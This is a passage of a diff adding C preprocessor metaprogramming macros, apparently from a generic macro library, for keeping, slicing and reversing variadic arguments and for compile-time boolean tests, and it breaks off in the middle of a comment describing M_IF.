+#define M_KEEPI_33(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33
+#define M_KEEPI_34(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34
+#define M_KEEPI_35(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35
+#define M_KEEPI_36(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36
+#define M_KEEPI_37(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37
+#define M_KEEPI_38(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38
+#define M_KEEPI_39(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39
+#define M_KEEPI_40(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40
+#define M_KEEPI_41(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41
+#define M_KEEPI_42(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42
+#define M_KEEPI_43(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43
+#define M_KEEPI_44(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44
+#define M_KEEPI_45(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45
+#define M_KEEPI_46(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46
+#define M_KEEPI_47(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47
+#define M_KEEPI_48(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48
+#define M_KEEPI_49(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49
+#define M_KEEPI_50(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50
+#define M_KEEPI_51(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51
+#define M_KEEPI_52(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, ...) _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52
+
+
+/* Keep the medium characters of a sequence */
+#define M_MID_ARGS(first, len, ...) M_KEEP_ARGS(len, M_SKIP_ARGS(first, __VA_ARGS__))
+
+
+/* Revert the VA_ARGS given as parameter
+   Example: M_REVERSE(a,b,c) --> c,b,a  */
+/* Generated by:
+   for i in $(seq 1 52) ; do printf "#define M_REVERSE_%d(" $i ; for j in $(seq 1 $i) ; do printf "_%d" $j ; if test $i -ne $j ; then printf "," ; fi ; done; printf ") " ; for j in $(seq $i -1 1) ; do printf "_%d" $j ; if test 1 -ne $j ; then printf "," ; fi ; done ; printf "\n" ; done */
+#define M_REVERSE(...) M_C(M_REVERSE_, M_NARGS(__VA_ARGS__))(__VA_ARGS__)
+#define M_REVERSE_0() ()
+#define M_REVERSE_1(_1) _1
+#define M_REVERSE_2(_1,_2) _2,_1
+#define M_REVERSE_3(_1,_2,_3) _3,_2,_1
+#define M_REVERSE_4(_1,_2,_3,_4) _4,_3,_2,_1
+#define M_REVERSE_5(_1,_2,_3,_4,_5) _5,_4,_3,_2,_1
+#define M_REVERSE_6(_1,_2,_3,_4,_5,_6) _6,_5,_4,_3,_2,_1
+#define M_REVERSE_7(_1,_2,_3,_4,_5,_6,_7) _7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_8(_1,_2,_3,_4,_5,_6,_7,_8) _8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_9(_1,_2,_3,_4,_5,_6,_7,_8,_9) _9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_10(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10) _10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_11(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11) _11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_12(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12) _12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_13(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13) _13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_14(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14) _14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_15(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15) _15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_16(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16) _16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_17(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17) _17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_18(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18) _18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_19(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19) _19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_20(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20) _20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_21(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21) _21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_22(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22) _22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_23(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23) _23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_24(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24) _24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_25(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25) _25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_26(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26) _26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_27(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27) _27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_28(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28) _28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_29(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29) _29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_30(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30) _30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_31(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31) _31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_32(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32) _32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_33(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33) _33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_34(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34) _34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_35(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35) _35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_36(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36) _36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_37(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37) _37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_38(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38) _38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_39(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39) _39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_40(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39,_40) _40,_39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_41(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39,_40,_41) _41,_40,_39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_42(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39,_40,_41,_42) _42,_41,_40,_39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_43(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39,_40,_41,_42,_43) _43,_42,_41,_40,_39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_44(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39,_40,_41,_42,_43,_44) _44,_43,_42,_41,_40,_39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_45(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39,_40,_41,_42,_43,_44,_45) _45,_44,_43,_42,_41,_40,_39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_46(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39,_40,_41,_42,_43,_44,_45,_46) _46,_45,_44,_43,_42,_41,_40,_39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_47(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39,_40,_41,_42,_43,_44,_45,_46,_47) _47,_46,_45,_44,_43,_42,_41,_40,_39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_48(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39,_40,_41,_42,_43,_44,_45,_46,_47,_48) _48,_47,_46,_45,_44,_43,_42,_41,_40,_39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_49(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39,_40,_41,_42,_43,_44,_45,_46,_47,_48,_49) _49,_48,_47,_46,_45,_44,_43,_42,_41,_40,_39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_50(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39,_40,_41,_42,_43,_44,_45,_46,_47,_48,_49,_50) _50,_49,_48,_47,_46,_45,_44,_43,_42,_41,_40,_39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_51(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39,_40,_41,_42,_43,_44,_45,_46,_47,_48,_49,_50,_51) _51,_50,_49,_48,_47,_46,_45,_44,_43,_42,_41,_40,_39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+#define M_REVERSE_52(_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12,_13,_14,_15,_16,_17,_18,_19,_20,_21,_22,_23,_24,_25,_26,_27,_28,_29,_30,_31,_32,_33,_34,_35,_36,_37,_38,_39,_40,_41,_42,_43,_44,_45,_46,_47,_48,_49,_50,_51,_52) _52,_51,_50,_49,_48,_47,_46,_45,_44,_43,_42,_41,_40,_39,_38,_37,_36,_35,_34,_33,_32,_31,_30,_29,_28,_27,_26,_25,_24,_23,_22,_21,_20,_19,_18,_17,_16,_15,_14,_13,_12,_11,_10,_9,_8,_7,_6,_5,_4,_3,_2,_1
+
+
+/* Convert an integer or a symbol into 0 (if 0) or 1 (if not 0).
+   NOTE: It shall exactly the C-preprocessing token '0'.
+   1 if symbol unknown */
+#define M_TOBOOLI_0                 1, 0,
+#define M_BOOL(x)                   M_RET_ARG2(M_C(M_TOBOOLI_, x), 1, useless)
+
+
+/* M_IF Macro : Perform an IF test at preprocessing time. 
+   The condition is assumed to be true if unknown.
+   USAGE:
+      M_IF(condition)(Block if true, Block if false)
+   Example:
+      M_IF(0)(true_action, false_action) --> false_action
